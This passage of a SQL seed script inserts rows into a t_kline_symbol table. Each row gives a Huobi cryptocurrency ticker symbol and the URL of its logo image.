NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (396, 'huobi', 'snt', 'SNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/status.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (397, 'huobi', 'salt', 'SALT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/salt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (398, 'huobi', 'glm', 'GLM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golem-network-tokens.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (399, 'huobi', 'cmt', 'CMT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/comet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (400, 'huobi', 'btm', 'BTM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bytom.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (401, 'huobi', 'pay', 'PAY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tenx.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (402, 'huobi', 'powr', 'POWR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/power-ledger.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (403, 'huobi', 'dgd', 'DGD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digixdao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (404, 'huobi', 'ven', 'VEN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/venture-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (405, 'huobi', 'qash', 'QASH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/qash.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (406, 'huobi', 'gas', 'GAS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gas.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (407, 'huobi', 'eng', 'ENG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enigma-project.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (408, 'huobi', 'mco', 'MCO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monaco.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (409, 'huobi', 'rdn', 'RDN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/raiden-network-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (410, 'huobi', 'chat', 'CHAT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chatcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (411, 'huobi', 'srn', 'SRN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sirin-labs-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (412, 'huobi', 'act', 'ACT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/achainofficial.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (413, 'huobi', 'tnb', 'TNB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/time-new-bank.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (414, 'huobi', 'qsp', 'QSP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quantstamp.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (415, 'huobi', 'req', 'REQ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/request-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (416, 'huobi', 'phx', 'PHX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phoenix-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (417, 'huobi', 'appc', 'APPC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/appcoins.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (418, 'huobi', 'rcn', 'RCN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripio-credit-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (419, 'huobi', 'smt', 'SMT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartmesh.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (420, 'huobi', 'adx', 'ADX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adx-net.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (421, 'huobi', 'tnt', 'TNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tierion.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (422, 'huobi', 'ost', 'OST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ost.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (423, 'huobi', 'itc', 'ITC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iot-chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (424, 'huobi', 'lun', 'LUN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunyr.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (425, 'huobi', 'gnx', 'GNX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genaro-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (426, 'huobi', 'ast', 'AST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/airswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (427, 'huobi', 'evx', 'EVX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (428, 'huobi', 'mds', 'MDS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medishares.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (429, 'huobi', 'snc', 'SNC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/suncontract.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (430, 'huobi', 'propy', 'PROPY', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (431, 'huobi', 'eko', 'EKO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/echolink.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (432, 'huobi', 'nas', 'NAS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nebulas-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (433, 'huobi', 'bcd', 'BCD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-diamond.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (434, 'huobi', 'waxp', 'WAXP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wax.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (435, 'huobi', 'wicc', 'WICC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waykichain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (436, 'huobi', 'topc', 'TOPC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/topchain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (437, 'huobi', 'swftc', 'SWFTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swftcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (438, 'huobi', 'dbc', 'DBC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deepbrain-chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (439, 'huobi', 'elf', 'ELF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/aelf.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (440, 'huobi', 'aidoc', 'AIDOC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aidoc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (441, 'huobi', 'monfter', 'MONFTER', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (442, 'huobi', 'yee', 'YEE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yee.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (443, 'huobi', 'dat', 'DAT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (444, 'huobi', 'let', 'LET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linkeye.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (445, 'huobi', 'dta', 'DTA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/data.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (446, 'huobi', 'utk', 'UTK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/utrust.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (447, 'huobi', 'meet', 'MEET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinmeet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (448, 'huobi', 'soc', 'SOC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/soda-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (449, 'huobi', 'ruff', 'RUFF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ruff.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (450, 'huobi', 'ocn', 'OCN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/odyssey.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (451, 'huobi', 'ela', 'ELA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/elastos.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (452, 'huobi', 'bcx', 'BCX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinx.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (453, 'huobi', 'sbtc', 'SBTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/super-bitcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (454, 'huobi', 'bifi', 'BIFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beefy-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (455, 'huobi', 'zla', 'ZLA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/zillatoken.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (456, 'huobi', 'stk', 'STK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stk.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (457, 'huobi', 'wpr', 'WPR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wepower.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (458, 'huobi', 'mtn', 'MTN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medical-chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (459, 'huobi', 'mtx', 'MTX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/matryx.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (460, 'huobi', 'abt', 'ABT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arcblock.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (461, 'huobi', 'ctxc', 'CTXC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cortex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (462, 'huobi', 'bft', 'BFT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bnktothefuture.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (463, 'huobi', 'wan', 'WAN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wanchain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (464, 'huobi', 'kan', 'KAN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bikan.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (465, 'huobi', 'lba', 'LBA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/libra-credit.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (466, 'huobi', 'polyx', 'POLYX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polymesh.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (467, 'huobi', 'pai', 'PAI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/project-pai.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (468, 'huobi', 'wtc', 'WTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waltonchain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (469, 'huobi', 'box', 'BOX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/defibox.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (470, 'huobi', 'gxc', 'GXC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gxchain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (471, 'huobi', 'bix', 'BIX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bibox-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (472, 'huobi', 'hit', 'HIT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hitchain.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (473, 'huobi', 'ong', 'ONG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ongsocial.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (474, 'huobi', 'bt1', 'BT1', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bt1-cst.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (475, 'huobi', 'bt2', 'BT2', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bt2-cst.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (476, 'huobi', 'firo', 'FIRO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (477, 'huobi', 'ncash', 'NCASH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nucleus-vision.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (478, 'huobi', 'grs', 'GRS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/groestlcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (479, 'huobi', 'egcc', 'EGCC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/engine.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (480, 'huobi', 'she', 'SHE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/she-coin.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (481, 'huobi', 'mex', 'MEX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (482, 'huobi', 'iic', 'IIC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intelligent-investment-chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (483, 'huobi', 'gsc', 'GSC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/global-social-chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (484, 'huobi', 'uc', 'UC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/youlive-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (485, 'huobi', 'uip', 'UIP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unlimitedip.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (486, 'huobi', 'cnn', 'CNN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/content-neutrality-network.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (487, 'huobi', 'aac', 'AAC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/acute-angle-cloud.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (488, 'huobi', 'uuu', 'UUU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/u-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (489, 'huobi', 'cdc', 'CDC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/commerce-data-connection.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (490, 'huobi', 'lxt', 'LXT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (491, 'huobi', 'but', 'BUT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitup-token.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (492, 'huobi', '18c', '18C', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/18c.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (493, 'huobi', 'datx', 'DATX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datx.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (494, 'huobi', 'portal', 'PORTAL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/portal.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (495, 'huobi', 'man', 'MAN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/MatrixAINetwork.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (496, 'huobi', 'get', 'GET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/get-protocol.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (497, 'huobi', 'pc', 'PC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/promotion-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (498, 'huobi', 'eosdac', 'EOSDAC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eosdac.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (499, 'huobi', 'ae', 'AE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aeternity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (500, 'huobi', 'bkbt', 'BKBT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beekan.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (501, 'huobi', 'gve', 'GVE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/globalvillage-ecosystem.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (502, 'huobi', 'seele', 'SEELE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seele.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (503, 'huobi', 'fti', 'FTI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fanstime.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (504, 'huobi', 'ekt', 'EKT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/educare.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (505, 'huobi', 'xmx', 'XMX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xmax.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (506, 'huobi', 'ycc', 'YCC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ycc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (507, 'huobi', 'fair', 'FAIR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/faircoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (508, 'huobi', 'ssp', 'SSP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartshare.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (509, 'huobi', 'eon', 'EON', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eon.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (510, 'huobi', 'eop', 'EOP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eospace.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (511, 'huobi', 'lym', 'LYM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lympo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (512, 'huobi', 'zjlt', 'ZJLT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zjlt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (513, 'huobi', 'meetone', 'MEETONE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/meetone.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (514, 'huobi', 'pnt', 'PNT', NULL, NULL, 